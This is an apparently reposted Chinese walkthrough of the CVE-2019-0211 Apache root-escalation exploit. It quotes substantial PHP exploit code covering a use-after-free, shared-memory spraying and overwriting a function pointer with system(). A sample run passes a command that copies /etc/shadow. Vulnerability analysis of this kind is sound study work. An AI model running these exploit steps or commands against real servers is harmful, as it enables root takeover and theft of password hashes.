首頁  >  文章  >  運維  >  如何進行Apache HTTP元件提權漏洞利用流程深度分析

如何進行Apache HTTP元件提權漏洞利用流程深度分析

WBOY
WBOY轉載
2023-05-13 09:28:051816瀏覽

Apache HTTP 被發現存在本地提權漏洞(CVE-2019-0211),漏洞作者在第一時間就給出了WriteUp和漏洞EXP,阿爾法實驗室也對EXP進行了深入分析,在此將分析的筆記整理分享出來,希望對大家理解漏洞有所幫助。以下內容主要依照EXP的執行步驟一步步講解,同時詳細解釋了利用過程中幾個比較難理解的點。

一、漏洞成因

作者的WriteUp中對導致漏洞程式碼已經有了介紹,這裡就只是簡單提一下,並省略了大部分的源碼以減輕閱讀負擔。

在Apache的MPM prefork模式中,以root權限運行主伺服器進程,同時管理一個低特權工作進程(worker)池,用於處理HTTP請求。主進程和worker之間透過一個共享記憶體(SHM)進行通訊。

1.當Apache httpd伺服器優雅重啟(graceful)時,httpd主程序會殺死舊worker並用​​新worker取代它們,這就會呼叫prefork_run()函數產生新的worker:

//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
  /* ... */   
  make_child(ap_server_conf, child_slot,
             ap_get_scoreboard_process(child_slot)->bucket);
  /* ... */
}

2.在該函數中呼叫make_child(),並使用ap_get_scoreboard_process(child_slot)->bucket作為參數。 make_child()函數會建立新的子進程,同時根據bucket索引讀取all_buckets數組到my_bucket:

//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket)
{
  /* ... */
  my_bucket = &all_buckets[bucket];
  /* ... */  
  child_main(slot, bucket);
  /* ... */

3.呼叫child_main(),如果Apache偵聽多個端口,那麼SAFE_ACCEPT(將會執行,這裡apr_proc_mutex_child_init()將會執行:</p> <pre class="brush:php;toolbar:false">//server/mpm/prefork/prefork.c static void child_main(int child_num_arg, int child_bucket) {   /* ... */   status = SAFE_ACCEPT(apr_proc_mutex_child_init(&amp;my_bucket-&gt;mutex,                                             apr_proc_mutex_lockfile(my_bucket-&gt;mutex),                                             pchild));   /* ... */</pre> <p>4.上述函數進一步呼叫(*mutex)->meth->child_init(mutex, pool , fname):</p> <pre class="brush:php;toolbar:false">//apr-1.7.0 //locks/unix/proc_mutex.c APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,                                                     const char *fname,                                                     apr_pool_t *pool) {     return (*mutex)-&gt;meth-&gt;child_init(mutex, pool, fname); }</pre> <p>整個簡化的流程如下:</p> <pre class="brush:php;toolbar:false">prefork_run()   make_child(bucket)     my_bucket = &amp;all_buckets[bucket];     child_main(bucket)     SAFE_ACCEPT(apr_proc_mutex_child_init)       apr_proc_mutex_child_init(my_bucket-&gt;mutex)         mutex-&gt;meth-&gt;child_init(&amp;my_bucket-&gt;mutex)//覆盖child_init()的指针来指向代码</pre> <p>如果我們在共享記憶體中偽造一個<code>prefork_child_bucket結構(即all_buckets數組的元素),並修改all_buckets陣列的索引bucket,就可以在第三行的程式碼控制my_bucket指向該結構。

進而在後續程式碼執行my_bucket->mutex->meth->child_init(mutex, pool, fname)meth結構包含指向多個函數的指針,因此,將其中的child_init函數的指針覆蓋為我們想要執行函數的指針,就可以達到漏洞利用的目的,並且此時進程還是處於root權限的,後面才降低自身的權限。

二、漏洞利用

作者在其WriteUp將利用過程分為四個步驟,但實際的exp要比他寫得更繁瑣一點,在順序上也稍微有些不同。以下是根據exp執行步驟整理的流程,補充了一些細節:

  1. 利用PHP讀取worker的/proc/self/maps文件,進而定位一些漏洞利用所需模組和函數的位址

  2. 枚舉/proc/*/cmdline和/proc/*/status文件,得到所有worker進程的PID

  3. 利用一個PHP的UAF漏洞,在worker進程中獲取讀/寫SHM的權限

  4. 遍歷Apache的內存,根據內存模式匹配找到與all_buckets數組地址

  5. 因為優雅重啟後,all_buckets的位置會改變,因此需要計算一個"適當"的bucket索引,保證all_buckets[bucket]仍然指向偽造的prefork_child_bucket結構

  6. 在SHM中建構payload

  7. ##噴射payload之後剩餘的SHM區域,確保第5步驟中

    all_buckets[bucket]指向這區域後,能轉到payload

  8. process_score->bucket修改為第5步驟計算的bucket。另外為了進一步提高成功率,也可以列舉SHM區域所有的process_score結構,將每個worker的process_score->pid與第2步驟得到的PID的比較,配對上的就是正確的process_score結構,將每個worker的process_score->bucket都進行修改。

  9. 等待Apache優雅地重啟觸發漏洞(每天早上6:25會自動執行,也可手動重啟驗證結果)

具體的細節如下圖:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

2.1 exp概述

get_all_addresses()get_workers_pids()函數分別取得幾個關鍵記憶體位址、worker的PID放入全域變數$addresses$worker_pids中,以便在後續的利用中使用。需要注意如果執行exp時無法解析shmapache的位址,可能是因為你的環境中shm的大小與exp中尋找的範圍不一致,可以自己查看maps文件,然後修改if ($msize >= 0x10000 && $msize <= 0x16000)這行為正確的值即可。

real()函数有两个作用,一是触发PHP的UAF漏洞。二是开始真正的漏洞利用过程,因为Z中定义了jsonSerialize()方法,它会在类实例被序列化的时候调用,即后面执行json_encode()时调用,而所有的利用代码都在jsonSerialize()中。

下面的代码只保留了EXP的基本框架,只为了让大家有一个整体上的概念:

<?php
function real()
{
  global $y;
  $y = [new Z()];
  json_encode([0 => &$y]);
}

class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    ...
  }
  ... 
}  

...

function get_all_addresses()
{
  ...  
}  
function get_workers_pids()
{
  ...  
}  

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();</p>
<p>接下来具体看看<code>jsonSerialize()</code>中的代码。</p>
<h4>2.2 利用PHP的UAF获取读写SHM的权限</h4>
<p>还是先概括的讲一讲PHP这个UAF漏洞原理:</p>
<pre class="brush:php;toolbar:false">class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $addresses, $workers_pids;
    ...
    $this->abc = ptr2str(0, 79);      //ptr2str在这里等同于创建一个字符串
    ...
    unset($y[0]);
    ...
    $x = new DateInterval('PT1S');
    ...
  }
}

1. 我们在Z中定义了一个字符串$this->abc(PHP内部使用zend_string表示),就好比C中malloc一块内存

2. 接着unset($y[0])(Z的实例),就像"free"掉刚才分配的内存

3. 然后再请求分配一个和刚才释放大小相同的内存块,这里使用的是DateInterval(PHP的对象内部实现往往由几个结构体组成,这里其实是DateInterval中的timelib_rel_time和zend_string大小相同),于是DateInterval就占据了原来字符串的位置,如下图所示

4. 此时$this->abc仍然可用并指向原来的位置,于是我们可以通过修改DateInterval来控制字符串$this->abc

如何进行Apache HTTP组件提权漏洞利用过程深度分析

PHP字符串的内部实现如下,用一个zend_string表示,通过成员变量len来判断字符串长度,从而实现二进制安全。我们修改DateInterval的属性间接修改len的大小就可以通过this->abc读写SHM区域了。当然,为了能够成功利用漏洞,还有许多细节需要考虑。

struct _zend_string {
    zend_refcounted   gc;
    zend_ulong        h;
    size_t            len;      
    char              val[1];
};

2.2.1 填充空闲内存块

在脚本运行之前可能发生了大量的分配/释放,因此同时实例化的两个变量也不一定是连续的,为解决这个问题,实例化几个DateInterval对象填充不连续空闲块,以确保后面分配的内存是连续的:

$contiguous = [];
for($i=0;$i<10;$i++)
  $contiguous[] = new DateInterval(&#39;PT1S&#39;);

$_protector = ptr2str(0, 78);

2.2.2 创建保护内存块

为了保证UAF后我们控制的结构属于一块空闲内存,如果我们之后创建其他变量,那么这些变量可能会破坏我们已经控制的结构,为了避免这种情况,这里分配了很多对象Z的实例,后面的代码中会将其释放,由于PHP的堆LIFO的特点,这些释放掉的内存会优先于UAF的那块内存分配,从而保护被我们控制的结构。

$room = [];
for($i=0;$i<10;$i++)
  $room[] = new Z();

函数ptr2str的作用相当于在内存中分配一个大小为78的zend_string结构,为什么是78这个大小接下来会提到。

$_protector = ptr2str(0, 78);

2.2.3 分配UAF的字符串

接着创建字符串$this->abc,也就是一个zend_string结构,通过对它进行UAF,进而读写共享内存。

$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');

创建$p的目的是为了保护$this->abc,前面说过,一个PHP对象往往由许多结构组成,而DateInterval中的timelib_rel_time结构大小就刚好为78,这就是前面为何要创建大小78的zend_string的原因。

此时的内存布局如下图所示,这里和下面的所有图示都是为了方便大家理解,因为PHP各种变量、对象都是由好几个结构组成,所以实际的PHP堆内存排布肯定比此复杂。

如何进行Apache HTTP组件提权漏洞利用过程深度分析

2.2.4 触发UAF并验证

接着unset当前对象$y[0]和$p,unset掉$p意味着释放了DateInterval的timelib_rel_time结构。

unset($y[0]);
unset($p);

此时内存布局如下:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

然后我们将分配一个与其大小相同的字符串($protector),由于PHP堆LIFO的特点,因此字符串将取代timelib_rel_time结构的位置。

# Protect $p's timelib_rel_time structure
$protector = ".$_protector";

如何进行Apache HTTP组件提权漏洞利用过程深度分析

接着就是最重要的一步:

$x = new DateInterval('PT1S');

再次创建一个DateInterval,它的timelib_rel_time结构将刚好占据上图中free的内存位置,同时$this->abc仍然是可以访问free这块内存的,即:&timelib_rel_time == &zend_string。因此我们可以通过修改DateInterval对象来修改zend_string.len,从而控制可以读/写内存的长度。

如何进行Apache HTTP组件提权漏洞利用过程深度分析

完成上述步骤后,我们还需要验证UAF是否成功,看一下DateInterval的定义:

DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string
}

因为有&timelib_rel_time == &zend_string,所以这里的$d和$y分别对应zend_string里的len和val。可以将$x(DateInterval)的h属性设置为0x13121110,再通过$this->abc字符串(zend_string)访问来判断UAF成功与否。

# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;

if(!(
  strlen($this->abc) === $x->d &&
  $this->abc[0] == "\x10" &&
  $this->abc[1] == "\x11" &&
  $this->abc[2] == "\x12" &&
  $this->abc[3] == "\x13"
))
{
  o('UAF failed, exiting.');
  exit();
}
  o('UAF successful.');;

最后别忘了释放掉$room,产生的空闲块将保护我们控制的结构,后面再新建变量都会优先使用这些内存。

unset($room);

如何进行Apache HTTP组件提权漏洞利用过程深度分析

2.2.5 控制并修改UAF的结构

利用这个PHP漏洞的目的是为了能够获取读写SHM的权限,现在我们能够读写zend_string.val的内容,能读写的长度是zend_string.len,因此只要将len的值增加到包括SHM的范围。

这时我们已经知道了SHM的绝对地址,还需要知道abc的绝对地址,得到两者之间的偏移量才可以修改len。因此需要找到字符串$this->abc在内存中的位置:

$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));

然后我们就可以计算两者间的偏移量了,还要注意的是,因为后面我们需要在内存中查找all_bucket,而它在apache的内存中所以我们的len需要将SHM和apache的内存都覆盖到,所以作者的WriteUp中说SHM和apache的内存都需要在PHP堆之后,而它们也确实都在PHP堆之后。

找SHM和apache的内存两者间较大的值,减去abc的地址,将得到的偏移通过DateInterval的d属性修改来修改zend_string.len。

$distance = 
  max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;

这等同于将zend_string结构($this->abc)中的len修改为一个超大的值,一直包括到SHM和Apache内存区域,这下我们就可以读写这个范围内的内存了。

2.3 在内存中定位all_buckets

根据内存模式查找all_buckets数组的位置,这在作者的writeup中有提到。mutex在all_buckets偏移0x10的位置,而meth在mutex偏移0x8的位置,根据该特征查找all_buckets数组。

首先,在apache的内存中搜索all_buckets[idx]->mutex,接着验证meth,是否在libapr.so的.data段中,最后因为meth指向libapr.so中定义的函数,因此验证其是否在.text段。满足这些条件的就是我们要找的all_buckets[]结构。

    $all_buckets = 0;

    for(
      $i = $addresses['apache'][0] + 0x10;
      $i < $addresses[&#39;apache&#39;][1] - 0x08;
      $i += 8
    )
    {
      # mutex
      $mutex = $pointer = str2ptr($this->abc, $i - $address);
      if(!in($pointer, $addresses['apache']))
        continue;

      # meth
      $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
      if(!in($pointer, $addresses['libaprR']))
        continue;

      o('  [&mutex]: 0x' . dechex($i));
      o('    [mutex]: 0x' . dechex($mutex));
      o('      [meth]: 0x' . dechex($meth));

顺便将meth结构中所有函数指针打印出来,第6个就是我们要用到的(*child_init)()。

      # meth->*
      # flags
      if(str2ptr($this->abc, $pointer - $address) != 0)
        continue;
      # methods
      for($j=0;$j<7;$j++)
      {
        $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
        if(!in($m, $addresses['libaprX']))
          continue 2;
        o('        [*]: 0x' . dechex($m));
      }

      $all_buckets = $i - 0x10;
      o('all_buckets = 0x' . dechex($all_buckets));
      break;
    }

这是meth的结构,可以对照着看一看:

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
    const char *name;
};

如何进行Apache HTTP组件提权漏洞利用过程深度分析

2.4 计算索引buckets

再回忆一下漏洞利用的方法:在SHM中构造payload (prefork_child_bucket结构),同时将剩余SHM区域喷射payload地址(并非payload起始地址), 控制指向喷射区域,所以&all_buckets[bucket]中的meth必然指向payload ,而payload中我们已将child_init函数的指针覆盖为我们想要执行函数的指针,就可以达到漏洞利用的目的。

要想控制&all_buckets[bucket]指向prefork_child_bucket结构,不能直接将该结构精确放在某个位置,然后直接计算两者间的偏移,因为all_buckets的地址在每优雅重启后会发生变化,所以漏洞被触发时all_buckets的地址将与我们找到的地址是不同的,这就是作者在EXP中进行堆喷的目的。

all_buckets是一个结构体数组,元素prefork_child_bucket结构由三个指针组成:

typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;

如果在SHM中大量喷射一个指向payload的地址,只要让&all_buckets[bucket]落在该区域内,payload就能得到执行,如下图中所示:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

并且在EXP中,作者一共使用了两种方法来提高利用成功率:

1.喷射SHM,也就是上面提到的方法

2.修改每个worker的process_score->bucket结构,这样一来,利用成功率就可以再乘以Apache Worker的数量。这也是exp开始时调用$workers_pids = get_workers_pids();的原因。
先看第一种方法的实现:

SHM的起始部分是被apache的各个进程使用的,可以用SHM末尾的绝对地址$spray_max,减去未使用的内存空间大小$spray_size,得到要喷射区域的大小$spray_size;而未使用空间的大小可以通过减去已使用worker_score结构的总大小得到。

$size_prefork_child_bucket = 24;
$size_worker_score = 264;

$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;

然后找喷射区域地址的中间值,计算它和all_buckets地址的偏移,再除以prefork_child_bucket结构的大小,就可以得到一个all_buckets数组下标索引,但别忘了SHM在all_buckets之前,所以这个索引还要取负值,这个值用$bucket_index_middle表示。

$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );

这样做的目的在于,在每优雅重启后,即便all_buckets的地址有所变化,&all_buckets[bucket]指向的位置会在$spray_middle上下浮动,最大程度上保证了该指针落在喷射的内存范围内,如下图所示:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

 2.5 设置payload并喷射SHM

Payload由三个部分组成

1.bucket,用来存放要执行的命令,这是因为payload已经成了几个结构的叠加。

2.meth,它还是apr_proc_mutex_unix_lock_methods_t结构,只是它的child_init替换成了zend_object_std_dtor,其他指针置空。

3.properties,这是PHP内部结构zend_object的一个成员。

回忆漏洞的攻击链,最后的child_init被替换成函数zend_object_std_dtor执行,其原型如下,传入一个zend_object结构:

ZEND_API void zend_object_std_dtor(zend_object *object);

所以原本传给child_init的&my_bucket->mutex(prefork_child_bucket结构的一部分)就和zend_object相叠加了。

如何进行Apache HTTP组件提权漏洞利用过程深度分析

zend_object_std_dtor的执行又导致以下调用链:

...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
    //(*mutex)->meth->child_init()
    (*mutex)->meth->zend_object_std_dtor(object)    //[object = mutex]
        ht = object->properties
        zend_array_destroy(ht)
        zend_hash_destroy(ht)
            val = &ht->arData[0]->val
            ht->pDestructor(val)

上面的代码properties是一个zend_array结构,如下所示,我们控制其中的arData,pDestructor,如果我们将上面&ht->arData[0]->val放入要执行的命令,pDestructor()覆盖为system的地址,就可以实现命令执行了。

struct _zend_array {
    zend_refcounted_h gc;
    //...
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};

回到exp中,首先构造bucket部分,放入要执行的命令,没有参数时默认执行"chmod +s /usr/bin/python3.5",但是自定义的命令长度也不能超过152字节。

# Build payload

$payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

  # Payload maxsize 264 - 112 = 152
      $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.5";

      if(strlen($bucket) > $size_worker_score - 112)
    {
      o(
        'Payload size is bigger than available space (' .
        ($size_worker_score - 112) .
        '), exiting.'
      );
      exit();
    }
      # Align
      $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

然后是meth,将原本child_init的指针改为zend_object_std_dtor:

# apr_proc_mutex_unix_lock_methods_t
    $meth = 
        $z .
        $z .
        $z .
        $z .
        $z .
        $z .
      # child_init
        ptr2str($addresses['zend_object_std_dtor'])
    ;

经过调试也可以看到child_init被覆盖:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

然后是properties(zend_array和apr_proc_mutex_t结构的叠加),u-nTableMask的位置将用作apr_proc_mutex_t结构的meth,而arData指向payload中的bucket。

      $properties = 
      # refcount
      ptr2str(1) .
      # u-nTableMask meth
      ptr2str($payload_start + strlen($bucket)) .
      # Bucket arData
      ptr2str($payload_start) .
      # uint32_t nNumUsed;
      ptr2str(1, 4) .
        # uint32_t nNumOfElements;
      ptr2str(0, 4) .
      # uint32_t nTableSize
      ptr2str(0, 4) .
      # uint32_t nInternalPointer
      ptr2str(0, 4) .
      # zend_long nNextFreeElement
      $z .
      # dtor_func_t pDestructor
      ptr2str($addresses['system'])
    ;

将各部分组合:

    $payload = 
      $bucket .
      $meth .
      $properties
    ;

通过前面UAF控制的字符串abc写入SHM未使用部分的开头:

    o('Placing payload at address 0x' . dechex($payload_start));

    $p = $payload_start - $address;
    for(
      $i = 0;
      $i < strlen($payload);
      $i++
    )
    {
      $this->abc[$p+$i] = $payload[$i];
    }

打印信息,将SHM剩下的部分喷射为properties的地址

    $properties_address = $payload_start + strlen($bucket) + strlen($meth);
    o('Spraying pointer');
    o('  Address: 0x' . dechex($properties_address));
    o('  From: 0x' . dechex($spray_min));
    o('  To: 0x' . dechex($spray_max));
    o('  Size: 0x' . dechex($spray_size));
    o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
    o('  Apache: 0x' . dechex(
      $addresses['apache'][1] -
      $addresses['apache'][0]
    ));

    $s_properties_address = ptr2str($properties_address);

    for(
      $i = $spray_min;
      $i < $spray_max;
      $i++
    )
    {
      $this->abc[$i - $address] = $s_properties_address[$i % 8];
    }

讲到这里可以再回头看看文章刚开始的图,应该就更容易理解了。

如何进行Apache HTTP组件提权漏洞利用过程深度分析

 2.6 进一步提高成功率

前面还讲到,可以修改每个worker的process_score->bucket结构,这样一来,利用成功率就可以再乘以Apache Worker的数量,因为2.4中计算出的bucket索引能落在了SHM之外,如果有多个worker,如下图所示,就能提高&all_buckets[bucket]落在SHM中的概率:

如何进行Apache HTTP组件提权漏洞利用过程深度分析

迭代查找每个process_score结构直到找到每个PID,再将找到的PID$workers_pids中的PID对比,匹配的就说明是正确的结构。

$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

    for(
      $p = $addresses['shm'][0] + 0x20;
      $p < $addresses[&#39;shm&#39;][1] && count($workers_pids) > 0;
      $p += 0x24
    )
    {
      $l = $p - $address;
      $current_pid = str2ptr($this->abc, $l, 4);
      o('Got PID: ' . $current_pid);
      # The PID matches one of the workers
      if(in_array($current_pid, $workers_pids))
      {
        unset($workers_pids[$current_pid]);
        o('  PID matches');

将所有workerprocess_score.bucket都进行修改,而非修改其中一个:

        # Update bucket address
        $s_bucket_index = pack('l', $bucket_index);
        $this->abc[$l + 0x20] = $s_bucket_index[0];
        $this->abc[$l + 0x21] = $s_bucket_index[1];
        $this->abc[$l + 0x22] = $s_bucket_index[2];
        $this->abc[$l + 0x23] = $s_bucket_index[3];
        o('  Changed bucket value to ' . $bucket_index);
        $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
        $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
        o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
        # This bucket range is covered, go to the next one
        $bucket_index += $spray_nb_buckets;

到这里,整个漏洞利用过程就结束了,可以等到6:25AM查看利用是否利用成功,也可以手动执行apachectl graceful验证。

    if(count($workers_pids) > 0)
    {
      o(
        'Unable to find PIDs ' .
        implode(', ', $workers_pids) .
        ' in SHM, exiting.'
      );
      exit();
    }

    o('');
    o('EXPLOIT SUCCESSFUL.');
    o('Await 6:25AM.');

    return 0;
➜ curl http://192.168.116.133/carpediem.php\?cmd\=cp+/etc/shadow+/tmp/
CARPE (DIEM) ~ CVE-2019-0211

PID: 887
Fetching addresses
  zend_object_std_dtor: 0x7fc38f605700
  system: 0x7fc3936bc480
  libaprX: 0x7fc393c39000-0x0x7fc393c6b000
  libaprR: 0x7fc393e6b000-0x0x7fc393e6c000
  shm: 0x7fc394456000-0x0x7fc39446a000
  apache: 0x7fc39446a000-0x0x7fc39452a000

Obtaining apache workers PIDs
  Found apache worker: 887
  Found apache worker: 888
  Found apache worker: 889
  Found apache worker: 890
  Found apache worker: 891
Got 5 PIDs.

Triggering UAF
  Creating room and filling empty spaces

  Allocating $abc and $p

  Unsetting both variables and setting $protector
  Creating DateInterval object
UAF successful.

Address of $abc: 0x7fc38aaa34e8

Looking for all_buckets in memory
  [&mutex]: 0x7fc3944cab70
    [mutex]: 0x7fc3944cacc0
      [meth]: 0x7fc393e6bca0
        [*]: 0x7fc393c53ce0
        [*]: 0x7fc393c541b0
        [*]: 0x7fc393c53e90
        [*]: 0x7fc393c54210
        [*]: 0x7fc393c53bf0
        [*]: 0x7fc393c53960
        [*]: 0x7fc393c6228c
all_buckets = 0x7fc3944cab60

Computing potential bucket indexes and addresses
[bucket_index_middle]: -17858
Placing payload at address 0x7fc39445a148
Spraying pointer
  Address: 0x7fc39445a218
  From: 0x7fc39445a250
  To: 0x7fc39446a000
  Size: 0xfdb0
  Covered: 0x4f470
  Apache: 0xc0000

Iterating in SHM to find PIDs...
[spray_nb_bucket]: 2706
[total_nb_buckets]: 13530
[bucket_index]: -24623
Got PID: 887
  PID matches
  Changed bucket value to -24623
  Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468
Got PID: 888
  PID matches
  Changed bucket value to -21917
  Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8
Got PID: 889
  PID matches
  Changed bucket value to -19211
  Ranges: 0x7fc3944cab58 - 0x7fc3944da908
Got PID: 890
  PID matches
  Changed bucket value to -16505
  Ranges: 0x7fc3944bada8 - 0x7fc3944cab58
Got PID: 891
  PID matches
  Changed bucket value to -13799
  Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8

EXPLOIT SUCCESSFUL.
Await 6:25AM.

以上是如何進行Apache HTTP元件提權漏洞利用流程深度分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除